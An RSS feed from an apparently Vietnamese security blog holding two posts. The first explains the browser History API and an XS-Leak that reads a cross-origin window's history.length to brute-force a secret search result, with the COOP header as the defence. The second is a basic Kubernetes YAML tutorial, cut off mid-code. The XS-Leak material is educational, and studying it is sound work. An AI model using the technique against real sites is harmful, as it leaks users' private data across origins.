<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Rayinaw</title>
    <link>https://rayinaw.github.io/</link>
    
    <atom:link href="https://rayinaw.github.io/rss2.xml" rel="self" type="application/rss+xml"/>
    
    <description>来年の事を言えば鬼が笑う</description>
    <pubDate>Mon, 23 Sep 2024 06:26:16 GMT</pubDate>
    <generator>http://hexo.io/</generator>
    
    <item>
      <title>Browser&#39;s Session History And XSLeak</title>
      <link>https://rayinaw.github.io/2024/05/23/chrome-session-history/</link>
      <guid>https://rayinaw.github.io/2024/05/23/chrome-session-history/</guid>
      <pubDate>Thu, 23 May 2024 04:22:04 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Browser’s-Session-History-And-XSLeak&quot;&gt;&lt;a href=&quot;#Browser’s-Session-History-And-XSLeak&quot; class=&quot;headerlink&quot; title=&quot;Browser’s Session Hi</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Browser’s-Session-History-And-XSLeak"><a href="#Browser’s-Session-History-And-XSLeak" class="headerlink" title="Browser’s Session History And XSLeak"></a>Browser’s Session History And XSLeak</h2><p><a href="https://www.google.com/search?q=browser%27s+session+history&rlz=1C1VDKB_enVN1049VN1049&sourceid=chrome&ie=UTF-8">Browser’s session history</a></p><blockquote><p>A browser’s session history keeps track of the navigations in each tab, to support back&#x2F;forward navigations and session restore. This is in contrast to “history” (e.g., chrome:&#x2F;&#x2F;history ), which tracks the main frame URLs the user has visited in any tab for the lifetime of a profile.</p></blockquote><h3 id="History-API-usage"><a href="#History-API-usage" class="headerlink" title="History API usage"></a>History API usage</h3><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#concepts_and_usage">https://developer.mozilla.org/en-US/docs/Web/API/History_API#concepts_and_usage</a></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line">history.<span class="title function_">back</span>();</span><br><span class="line">history.<span class="title function_">go</span>(-<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">history.<span class="title function_">forward</span>();</span><br><span class="line">history.<span class="title function_">go</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// ************* //</span></span><br><span class="line"></span><br><span class="line">history.<span class="title function_">go</span>(<span class="number">2</span>)</span><br><span class="line">history.<span class="title function_">go</span>(-<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Refreshing the page</span></span><br><span class="line">history.<span class="title function_">go</span>(<span class="number">0</span>);</span><br><span class="line">history.<span class="title function_">go</span>(); </span><br><span class="line"></span><br><span class="line"><span class="comment">// determine the number of pages in the history stack</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(history.<span class="property">length</span>);</span><br></pre></td></tr></table></figure><h4 id="popstate-event"><a href="#popstate-event" class="headerlink" title="popstate event"></a>popstate event</h4><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/popstate_event">Popstate</a> là một event của window được kích hoạt mỗi khi người dùng điều hướng session history (back, forward, go).</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="title function_">addEventListener</span>(<span class="string">&quot;popstate&quot;</span>, <span class="function">(<span class="params">event</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(</span><br><span class="line">    <span class="string">`location: <span class="subst">$&#123;<span class="variable language_">document</span>.location&#125;</span>, state: <span class="subst">$&#123;<span class="built_in">JSON</span>.stringify(event.state)&#125;</span>`</span>,</span><br><span class="line">  );</span><br><span class="line">&#125;);</span><br><span class="line">history.<span class="title function_">pushState</span>(&#123; <span class="attr">page</span>: <span class="number">1</span> &#125;, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;?page=1&quot;</span>);</span><br><span class="line">history.<span class="title function_">pushState</span>(&#123; <span class="attr">page</span>: <span class="number">2</span> &#125;, <span class="string">&quot;title 2&quot;</span>, <span class="string">&quot;?page=2&quot;</span>);</span><br><span class="line">history.<span class="title function_">replaceState</span>(&#123; <span class="attr">page</span>: <span class="number">3</span> &#125;, <span class="string">&quot;title 3&quot;</span>, <span class="string">&quot;?page=3&quot;</span>);</span><br><span class="line">history.<span class="title function_">back</span>(); <span class="comment">// Logs &quot;location: http://example.com/example.html?page=1, state: &#123;&quot;page&quot;:1&#125;&quot;</span></span><br><span class="line">history.<span class="title function_">back</span>(); <span class="comment">// Logs &quot;location: http://example.com/example.html, state: null&quot;</span></span><br><span class="line">history.<span class="title function_">go</span>(<span class="number">2</span>); <span class="comment">// Logs &quot;location: http://example.com/example.html?page=3, state: &#123;&quot;page&quot;:3&#125;&quot;</span></span><br></pre></td></tr></table></figure><h4 id="history-pushState"><a href="#history-pushState" class="headerlink" title="history.pushState"></a>history.pushState</h4><p><code>pushState</code> sẽ thêm một entry mới trong session history</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;page 1&#x27;</span>, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;?page=1&quot;</span>);</span><br><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;page 2&#x27;</span>, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;?page=2&quot;</span>);</span><br><span class="line">history.<span class="property">state</span></span><br><span class="line"><span class="comment">// page 2</span></span><br><span class="line">history.<span class="property">state</span></span><br><span class="line">history.<span class="title function_">back</span>()</span><br><span class="line"><span class="comment">// page 1</span></span><br></pre></td></tr></table></figure><p>Cần lưu ý là không thể thêm entry khác origin với origin hiện tại:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;page 2&#x27;</span>, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;https://example.com&quot;</span>);</span><br></pre></td></tr></table></figure><blockquote><p>VM2110:1 Uncaught DOMException: Failed to execute ‘pushState’ on ‘History’: A history state object with URL ‘<a href="https://example.com/&#39;">https://example.com/&#39;</a> cannot be created in a document with origin ‘<a href="http://127.0.0.1:5500&#39;">http://127.0.0.1:5500&#39;</a> and URL ‘<a href="http://127.0.0.1:5500/index.html?page=1&#39;">http://127.0.0.1:5500/index.html?page=1&#39;</a>. at <anonymous>:1:9</anonymous></p></blockquote><h4 id="history-replaceState"><a href="#history-replaceState" class="headerlink" title="history.replaceState"></a>history.replaceState</h4><p>Thay thế state hiện tại bằng một giá trị được replace:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;page 1&#x27;</span>, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;?page=1&quot;</span>);</span><br><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;devil page&#x27;</span>, <span class="string">&quot;title 1&quot;</span>, <span class="string">&quot;?page=devil&quot;</span>);</span><br><span class="line">history.<span class="property">state</span></span><br><span class="line"><span class="comment">// page devil</span></span><br><span class="line">history.<span class="property">state</span></span><br><span class="line">history.<span class="title function_">back</span>()</span><br><span class="line"><span class="comment">// page 1</span></span><br><span class="line"></span><br><span class="line">history.<span class="title function_">forward</span>()</span><br><span class="line">history.<span class="property">state</span></span><br><span class="line"><span class="comment">// devil</span></span><br></pre></td></tr></table></figure><h3 id="XSLeak-voi-Session-History"><a href="#XSLeak-voi-Session-History" class="headerlink" title="XSLeak với Session History"></a>XSLeak với Session History</h3><h4 id="Leak-thong-qua-navigation-voi-thuoc-tinh-history-length"><a href="#Leak-thong-qua-navigation-voi-thuoc-tinh-history-length" class="headerlink" title="Leak thông qua navigation với thuộc tính history.length"></a>Leak thông qua <a href="https://xsleaks.dev/docs/attacks/navigations/">navigation</a> với thuộc tính history.length</h4><p>Đầu tiên giả sử cửa sổ đang ở một trang là <a href="https://abc.com/">https://abc.com</a>, và bây giờ ta sẽ mở một window với một trang khác origin:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">w = <span class="variable language_">window</span>.<span class="title function_">open</span>(<span class="string">&#x27;https://example.com&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Ở cửa sổ mới, vào console rồi pushState như sau:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;?q=abc&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Quay lại cửa sổ cũ, ta không thể truy xuất history.length:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">w.<span class="property">history</span>.<span class="property">length</span></span><br></pre></td></tr></table></figure><blockquote><p>VM5175:1 Uncaught DOMException: Failed to read a named property ‘history’ from ‘Window’: Blocked a frame with origin “<a href="http://127.0.0.1:5500&quot;">http://127.0.0.1:5500&quot;</a> from accessing a cross-origin frame. at <code>&lt;anonymous&gt;</code>:1:3</p></blockquote><p>Tuy nhiên, nếu ta set location của cửa sổ mới thành một giá trị thõa mãn same origin với cửa sổ hiện tại thì ta có thể truy xuất được giá trị đó, ta có 2 cách:</p><ul><li>Set origin thành <code>about:blank</code></li><li>Set origin thành giá trị của cửa sổ <a href="https://abc.com/">https://abc.com</a></li></ul><p>Thực hiện lại quá trình trên:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">w = <span class="variable language_">window</span>.<span class="title function_">open</span>(<span class="string">&#x27;https://example.com&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Ở bên kia push state:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">history.<span class="title function_">pushState</span>(<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;?q=abc&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Quay trở lại trang abc.com:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">w.<span class="property">location</span>=<span class="string">&#x27;about:blank&#x27;</span></span><br><span class="line"><span class="comment">// Or w.location=&#x27;https://abc.com&#x27;</span></span><br><span class="line">w.<span class="property">history</span>.<span class="property">length</span></span><br><span class="line"><span class="comment">//3</span></span><br></pre></td></tr></table></figure><p>Ta đã hiểu được concept cơ bản, bây giờ mình sẽ nói tiếp trong ngữ cảnh cụ thể.</p><p>Giả sử nếu chức năng tìm kiếm của một trang web có chức năng như sau:</p><ul><li>Nếu tìm kiếm một secret thành công nó sẽ redirect ta đến một trang nào đó</li></ul><p>Ví dụ như ta xác định được nếu tìm kiếm thành công thì history.length đã redirect sẽ là 4, còn tìm kiếm sai thì là 3. </p><ul><li>Bây giờ ta chỉ cần search từng kí tự, nếu redirect là 4 thì kí tự đó đúng, còn không thì là sai, cứ thế cho đến khi ta lấy được secret.</li></ul><p>Cụ thể hơn về ngữ cảnh bạn có thể xem thêm ở đây:</p><ul><li><a href="https://github.com/aszx87410/ctf-writeups/issues/51">https://github.com/aszx87410/ctf-writeups/issues/51</a></li><li><a href="https://ctf.zeyu2001.com/2021/htx-investigators-challenge-2021#securebank-xss-search">https://ctf.zeyu2001.com/2021/htx-investigators-challenge-2021#securebank-xss-search</a></li></ul><h4 id="Protection"><a href="#Protection" class="headerlink" title="Protection"></a>Protection</h4><p>Thêm header <code>Cross-Origin-Opener-Policy</code>:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="title function_ invoke__">header</span>( <span class="string">&#x27;cross-origin-opener-policy: same-origin-allow-popups&#x27;</span> ); </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="Additional-trick-set-gia-tri-cua-header-HTTP-referer"><a href="#Additional-trick-set-gia-tri-cua-header-HTTP-referer" class="headerlink" title="Additional trick: set giá trị của header HTTP referer"></a>Additional trick: set giá trị của header HTTP referer</h3><p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#unsafe-url_2">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#unsafe-url_2</a></p><p>Ta có thể set giá trị của referer với toàn bộ url kể cả path, query, hash,… với meta tag:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;referrer&quot;</span> <span class="attr">content</span>=<span class="string">&quot;unsafe-url&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    history.<span class="title function_">pushState</span>(<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;?q=abc&#x27;</span>)</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>Khi này giá trị của referrer nếu được bắt từ trang này sẽ là:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://example.com?q=abc</span><br></pre></td></tr></table></figure>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Client-side/">Client side</category>
      
      <category domain="https://rayinaw.github.io/categories/Client-side/XS-leak/">XS-leak</category>
      
      <category domain="https://rayinaw.github.io/categories/Client-side/XS-leak/Browser/">Browser</category>
      
      
      <category domain="https://rayinaw.github.io/tags/XS-leak/">XS-leak</category>
      
      <category domain="https://rayinaw.github.io/tags/Session-History/">Session History</category>
      
      
      <comments>https://rayinaw.github.io/2024/05/23/chrome-session-history/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Học cách viết và hiểu một Kubernetes YAML files</title>
      <link>https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/</link>
      <guid>https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/</guid>
      <pubDate>Sun, 10 Dec 2023 14:41:44 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files&quot;&gt;&lt;a href=&quot;#Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files&quot; class=&quot;headerlink&quot; title</description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files"><a href="#Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files" class="headerlink" title="Học cách viết và hiểu một Kubernetes YAML files"></a>Học cách viết và hiểu một Kubernetes YAML files</h1><h2 id="Tong-quan"><a href="#Tong-quan" class="headerlink" title="Tổng quan"></a>Tổng quan</h2><p>Ở bài viết trước mình đã nói sơ qua về kubenetes, trong bài viết này chúng ta sẽ tập trung vào cách viết và tạo một kubenetes pod, service,…</p><p>Ở đây mình sử dụng minikube để demo, các bạn có thể cài đặt theo hướng dẫn ở <a href="https://kubernetes.io/vi/docs/tasks/tools/install-minikube/">đây</a>.</p><h2 id="Pod"><a href="#Pod" class="headerlink" title="Pod"></a>Pod</h2><p>Pod là đơn vị nhỏ nhất trong kubenetes, bên trong nó sẽ chứa những container. Các container bên trong sẽ dùng chung một địa chỉ ip của pod và không gian port. Địa chỉ ip của pod chỉ là một địa chỉ ip nội bộ, không phải ip của cluster.</p><img width="809" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/9510a1ac-ea14-402c-b88e-99af3c6b96ea"><p>Thông thường, người ta sẽ chỉ chạy duy nhất một container bên trong một Pod, và chỉ có một vài trường hợp số ít, khi cần một số helper như ghi log hay một helper gì đó người ta mới chạy nhiều container bên trong một Pod.</p><img width="797" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/79a386a5-5b66-48d9-9ea3-c4e173ad2cd4"><p>Về miệc chạy multi container có thể xem thêm ở <a href="https://www.mirantis.com/blog/multi-container-pods-and-container-communication-in-kubernetes/">đây</a>.</p><h3 id="Demo-Pod"><a href="#Demo-Pod" class="headerlink" title="Demo Pod"></a>Demo Pod</h3><blockquote><p>test-pod.yaml</p></blockquote><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.24.0</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>Một file yaml với kind Pod sẽ có dạng như trên, ngoài ra ta có thể quản lý các pod bằng cách thêm các labels cho Pod:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">test:</span> <span class="string">test</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.24.0</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>Chạy lệnh <code>kubectl apply -f test-pod.yaml</code>:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl apply -f test-pod.yaml</span><br><span class="line">pod/nginx created</span><br><span class="line">&gt; kubectl get pods</span><br><span class="line">NAME    READY   STATUS    RESTARTS   AGE</span><br><span class="line">nginx   1/1     Running   0          29m</span><br></pre></td></tr></table></figure><p>Ta đã tạo thành công một Pod, tuy nhiên ta không thể truy cập vào nginx mặc dù đã có thuộc tính <code>containerPort: 80</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; minikube ip</span><br><span class="line">192.168.59.101</span><br><span class="line">&gt; curl 192.168.59.101:80</span><br><span class="line">curl: (7) Failed to connect to 192.168.59.101 port 80 after 1 ms: Couldn&#x27;t connect to server</span><br></pre></td></tr></table></figure><p>Tại sao lại vậy? Lý do là vì Pod chỉ là một đơn vị trong một cluster, do đó nó chỉ có thể truy cập bên trong cluster đó.</p><img width="812" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/d414c09c-726b-4614-8cd1-f9f372033a34"><p>Để đưa port đó ra ngoài, ta cần sử dụng đến Service.</p><h2 id="Service"><a href="#Service" class="headerlink" title="Service"></a>Service</h2><img width="809" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/3b48ed8f-8cd9-43ad-befc-04f1e2cd0199"><p>Service được dùng để public port của Pod ra ngoài, để xác định Pod nào cần public port ta cần chỉ định Selector trỏ đến label của Pod đó.</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">service-web</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">tcp</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">nodePort:</span> <span class="number">30007</span> </span><br><span class="line">  <span class="attr">type:</span> <span class="string">NodePort</span></span><br></pre></td></tr></table></figure><p>Một file yml của Service sẽ có dạng như trên.</p><ul><li><code>name: tcp</code>: chỉ định giao thức trên port.</li></ul><p>Có 4 loại type của Service:</p><ul><li><p><code>type: ClusterIP</code>: Nếu ta chỉ định là ClusterIP thì service của chúng ta chỉ có thể truy cập bên trong cluster và không thể truy cập từ bên ngoài ví dụ như truy cập từ browser. </p><p>  <img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/e6074be1-d378-4553-bb55-0c10d5c8fd38" alt="image"></p><p>  Ta sử dụng ClusterIP nếu service đó chỉ là một internal service. Ví dụ như một microservices, ta chỉ muốn nó chạy nội bộ và chỉ có microservices khác giao tiếp với nó.</p>  <figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">clusterip-service</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"><span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"></span><br><span class="line"><span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">tcp</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">    </span><br><span class="line"><span class="attr">type:</span> <span class="string">ClusterIP</span></span><br></pre></td></tr></table></figure>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl get all</span><br><span class="line">NAME        READY   STATUS    RESTARTS   AGE</span><br><span class="line">pod/nginx   1/1     Running   0          103m</span><br><span class="line"></span><br><span class="line">NAME                        TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE</span><br><span class="line">service/clusterip-service   ClusterIP   10.111.124.5     &lt;none&gt;        80/TCP         12s</span><br></pre></td></tr></table></figure><p>  Ta thấy nó được cấp một địa chỉ ip, bây giờ các service khác ở trong cùng cluster có thể tương tác với nó bằng ip trên hoặc <code>http://clusterip-service</code></p></li><li><p><code>type: NodePort</code></p><p>  <img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/476c4897-8a32-48b1-b206-bdc99d8fe50d" alt="image"></p><p>  NodePort cho phép chúng ta expose port để có thể truy cập bên ngoài cụm, port expose ra sẽ được truy cập từ bằng nodePort. Ta chỉ có thể chỉ định NodePort nằm tròng khoảng 30000-32768.</p>  <figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">service-web</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"><span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"></span><br><span class="line"><span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">tcp</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">    <span class="attr">nodePort:</span> <span class="number">30007</span></span><br><span class="line">    </span><br><span class="line"><span class="attr">type:</span> <span class="string">NodePort</span></span><br></pre></td></tr></table></figure>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">NAME                        TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE</span><br><span class="line">service/clusterip-service   ClusterIP   10.111.124.5     &lt;none&gt;        80/TCP         60m</span><br><span class="line">service/kubernetes          ClusterIP   10.96.0.1        &lt;none&gt;        443/TCP        3h16m</span><br><span class="line">service/service-web         NodePort    10.100.217.211   &lt;none&gt;        80:30007/TCP   63m</span><br><span class="line">&gt; minikube ip</span><br><span class="line">192.168.59.101</span><br><span class="line">&gt; curl 192.168.59.101:30007</span><br><span class="line">StatusCode        : 200</span><br><span class="line">StatusDescription : OK</span><br></pre></td></tr></table></figure></li></ul><h2 id="ReplicaSets"><a href="#ReplicaSets" class="headerlink" title="ReplicaSets"></a>ReplicaSets</h2><p>ReplicaSet được dùng để duy trì tính ổn định của Pod khi tạo ra nhiều bản sao của Pod đó. Nếu một Pod trong số Replicas đó crash thì server vẫn có thể duy trì nhờ vào các bản sao.</p><p>Viết một file Replicas type khá đơn giản, ta chỉ cần wrap Pod vào trong spec như sau:</p><ul><li>Pod được quản lý bởi ReplicaSet nên ta có thể bỏ name của Pod trong phần metadata của Pod.</li><li>Tương tự như service, ta cầng dùng đến selector để chỉ định Pod nào cần Replica.</li></ul><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span 